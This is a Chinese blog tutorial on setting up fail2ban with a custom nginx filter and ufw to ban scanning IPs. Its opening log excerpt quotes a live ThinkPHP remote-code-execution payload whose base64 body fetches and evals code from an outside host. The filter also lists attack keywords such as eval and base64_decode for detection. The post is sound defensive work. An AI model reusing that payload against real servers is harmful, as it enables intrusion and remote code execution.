跳至内容

Jixun's Blog 填坑还是开坑,这是个好问题。

利用 fail2ban 自动封禁乱扫的 IP

起因 #

今日尝试升级系统的包,顺便瞄了眼 nginx 日志,发现很多奇怪的请求,例如:

185.198.69.4 - - [25/Jan/2024:16:53:57 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 150 "-" "-"
35.203.211.148 - - [26/Jan/2024:21:10:00 +0000] "\x00\x00\x00\xAC\xFESMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001234567890123456$\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x001234567890123456h\x00\x00\x00\x02\x00\x00\x00\x11\x03\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x02\x00\x01\x00\x00\x00\x01\x00,\x00\x00\x00\x00\x00\x02\x00\x02\x00\x01\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 150 "-" "-"
45.95.147.236 - - [03/Feb/2024:21:16:32 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=eval&vars[1][]='eval(base64_decode(\x22aWYoZmlsdGVyX3ZhcihpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSxGSUxURVJfVkFMSURBVEVfQk9PTEVBTikpe2V2YWwoZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly85My4xMjMuMzkuNzYveCIpKTt9ZWxzZXskaD1jdXJsX2luaXQoImh0dHA6Ly85My4xMjMuMzkuNzYveCIpO2N1cmxfc2V0b3B0KCRoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGgsQ1VSTE9QVF9IRUFERVIsMCk7ZXZhbChjdXJsX2V4ZWMoJGgpKTtjdXJsX2Nsb3NlKCRoKTt9\x22));' HTTP/1.1" 400 150 "-" "-"
45.156.128.7 - - [03/Feb/2024:21:14:32 +0000] "GET /sugar_version.json HTTP/1.1" 403 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
78.153.140.177 - - [03/Feb/2024:18:27:51 +0000] "GET /.env HTTP/1.1" 403 13 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"

同一个 IP 基本上扫了好几页,日志里大部分都是这类请求…。

话说在前… #

fail2ban 更像一个「马后炮」来根据日志的错误来对来源请求进行拦截。

如果你部署的应用本身就不安全或配置上有安全隐患,fail2ban 并不是对应这类问题的终极答案(Silver bullet)

如果你需要「预防」此类攻击,你或许更应该考虑 Web 应用防火墙(Web Application Firewall (WAF))1

系统环境 #

都是 Debian,并使用 ufw 作为防火墙配置工具。

因此配置时也是直接让其使用 ufw 而非 fail2ban 默认使用的 iptables

安装 #

安装 fail2ban 本体以及确保防火墙 ufw 也安装好了:

sudo apt install fail2ban ufw

配置 #

因为对自带的规则有点不满意,因此基于 nginx-botsearch 规则扩展了一下。

放入下述配置文件内容至 /etc/fail2ban/filter.d/jixun-nginx-logs.conf 即可:

# Fail2Ban filter to match web requests for selected URLs that don't exist
# Adapted from:
# https://github.com/fail2ban/fail2ban/blob/9bedc3c38385a2eb3c62677360c520a58819b9b1/config/filter.d/botsearch-common.conf
# https://github.com/fail2ban/fail2ban/blob/9bedc3c38385a2eb3c62677360c520a58819b9b1/config/filter.d/nginx-botsearch.conf

[Definition]

bad_prefix = \.
private_file = backup|password|database|config|bak|~|\.yaml|\.toml
admin_rules = [Mm]anager|[Aa]dmin|[lL]og[iI]n|[^/]\.git
php = .\.php|base64_decode|eval|call_user_func|\.\.\/\.\.\/
block_extra = <private_file>|<bad_prefix>|<admin_rules>|<php>
block = .*?\/?(<webmail>|<pwa>|<wordpress>|<block_extra>|cgi-bin)[\S]*?

# These are just convenient definitions that assist the blocking of stuff that 
# isn't installed
webmail = roundcube|(ext)?mail|horde|(v-?)?webmail
pwa = (typo3/|xampp/|admin/)?(pma|(php)?[Mm]y[Aa]dmin|mysqladmin)
wordpress = wp-(login|signup|admin)\.php

failregex = ^<HOST> \- \S+ \[\] \"(GET|POST|HEAD) \/<block> \S+\" [^23]\d\d\s
            ^<HOST> \- \S+ \[\] \"\\x
            ^ \[error\] \d+#\d+: \*\d+ (\S+ )?\"\S+\" (failed|is not found) \(2\: No such file or directory\), client\: <HOST>\, server\: \S*\, request: \"(GET|POST|HEAD) \/<block> \S+\"\,\s

ignoreregex =

datepattern = {^LN-BEG}%%ExY(?P<_sep>[-/.])%%m(?P=_sep)%%d[T ]%%H:%%M:%%S(?:[.,]%%f)?(?:\s*%%z)?
              ^[^\[]*\[({DATE})
              {^LN-BEG}

journalmatch = _SYSTEMD_UNIT=nginx.service + _COMM=nginx

其中 Definition 节下的正则表达式可以自行改写来根据需要补充规则。注意规则不要太“贪”2

定义好规则后可以对现有的日志文件测试效果:

# 查看所有匹配规则的日志行
fail2ban-regex --print-all-matched /var/log/nginx/access.log \
               /etc/fail2ban/filter.d/jixun-nginx-logs.conf

# 查看没有匹配上规则的日志行
fail2ban-regex --print-all-missed /var/log/nginx/access.log \
               /etc/fail2ban/filter.d/jixun-nginx-logs.conf

然后可以继续配置 fail2ban 的「监狱(jail)」了。

将下述内容写出到 /etc/fail2ban/jail.d/jixun.conf

[DEFAULT]
# 不尝试反向解析域名
usedns = no

# 封禁时间,默认 10 分钟
bantime = 10m

# 10 分钟内触发 5 次规则才会进行封禁
findtime = 10m
maxretry = 5

# 使用 UFW 作为防火墙来管理
banaction = ufw
banaction_allports = ufw

# 我们新加的日志过滤器
[nginx-logs]
enabled = true
filter = jixun-nginx-logs
port     = http,https
logpath  = /var/log/nginx/access.log
           /var/log/nginx/error.log

※ 时间单位支持 d 天、h 小时、m 分钟、s 秒。例如 1d 表示 1 日。

完成后就可以重启服务来应用了:

sudo systemctl enable fail2ban # 确保服务启用
sudo systemctl restart fail2ban
sudo systemctl status fail2ban # 检查是否正常启动

正常启动时,上述指令的最后一行将输出绿色的 active (running) 字样。

测试 #

找一台机器,执行下述指令进行测试:

for i in `seq 1 20`; do
  curl curl -kL 'https://192.168.1.2/.git' 
  sleep 0.2
done

其中 192.168.1.2 是我的机器 IP 地址(内网靶机嘛),而 .git 则是在规则中配置会触发封禁的路径。

跑了几秒后,可以发现 curl 开始报错无法连接了:

curl: (7) Failed to connect to 192.168.1.2 port 443 after 9 ms: Couldn't connect to server
curl: (7) Failed to connect to 192.168.1.2 port 443 after 9 ms: Couldn't connect to server

在服务器也可以看到当前封禁记录了:

# fail2ban-client status nginx-logs
Status for the jail: nginx-logs
|- Filter
|  |- Currently failed: 1
|  |- Total failed:     3
|  `- File list:        /var/log/nginx/access.log /var/log/nginx/error.log
`- Actions
   |- Currently banned: 1
   |- Total banned:     2
   `- Banned IP list:   192.168.1.3

常见问题 #

fail2ban 提示找不到 sshd 的日志文件 #

错误信息如下:

Feb 02 15:00:53 lab-f2b systemd[1]: Started fail2ban.service - Fail2Ban Service.
Feb 02 15:00:53 lab-f2b fail2ban-server[833]: 2024-02-02 15:00:53,441 fail2ban.configreader   [833]: WARNING 'allowipv6' not defined in 'Definition'. Using default one: 'auto'
Feb 02 15:00:53 lab-f2b fail2ban-server[833]: 2024-02-02 15:00:53,447 fail2ban                [833]: ERROR   Failed during configuration: Have not found any log file for sshd jail
Feb 02 15:00:53 lab-f2b fail2ban-server[833]: 2024-02-02 15:00:53,451 fail2ban                [833]: ERROR   Async configuration of server failed
Feb 02 15:00:53 lab-f2b systemd[1]: fail2ban.service: Main process exited, code=exited, status=255/EXCEPTION
Feb 02 15:00:53 lab-f2b systemd[1]: fail2ban.service: Failed with result 'exit-code'.

如果没有开启 SSH 服务(例如测试环境)则可能会遇到这个问题,可以在配置文件中禁用。

将下述内容加入到 /etc/fail2ban/filter.d/sshd-disable.conf 即可:

[sshd]
enabled = false

封锁整个 IP 而非单个端口 #

将监狱配置文件的 port 字段改为 all 即可。

例如在 /etc/fail2ban/jail.d/jixun.conf 中作出如下更改:

 [nginx-logs]
 enabled = true
 filter = jixun-nginx-logs
-port     = http,https
+port     = all
 logpath  = /var/log/nginx/access.log
            /var/log/nginx/error.log

查询封禁记录 #

查询启用的监狱,fail2ban-client status

Status
|- Number of jail:      2
`- Jail list:   nginx-logs, sshd

查看 nginx-logs 监狱的封禁记录,fail2ban-client status nginx-logs

Status for the jail: nginx-logs
|- Filter
|  |- Currently failed: 1
|  |- Total failed:     3
|  `- File list:        /var/log/nginx/access.log /var/log/nginx/error.log
`- Actions
   |- Currently banned: 1
   |- Total banned:     2
   `- Banned IP list:   192.168.1.3

这些指令可能需要 root 权限。

手动封禁指定 IP #

临时封禁(监狱时间到后自动放行):

fail2ban-client set "nginx-logs" banip "1.2.3.4"

永久封禁(直接从 ufw 进行封禁):

do ufw deny from "1.2.3.4" to any

结语 #

如果只是自己用的服务,不如部署到内网(树莓派或 SFF 主机),直接避免外部访问;需要从外部访问则可以配置隧道来访问。

我自己的话也迁移了很多应用到家里的小主机来自托管,并使用 WireGuard 来建立一个安全的隧道来允许我偶尔在外面时访问。

另外… 尽量保持系统和软件更新!

后记 #

发现规则配置了也没啥用,唯一的帮助是日志更方便看了…

  • 有些请求就是固定扫某一个路径,大概一天扫一次的低频行为 => 手动拉黑眼不见心不烦。
  • 有些可能是轮换 IP;有看到一部分请求是连续错误三次,然后换了个 IP…

知识共享许可协议 本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可。

评论区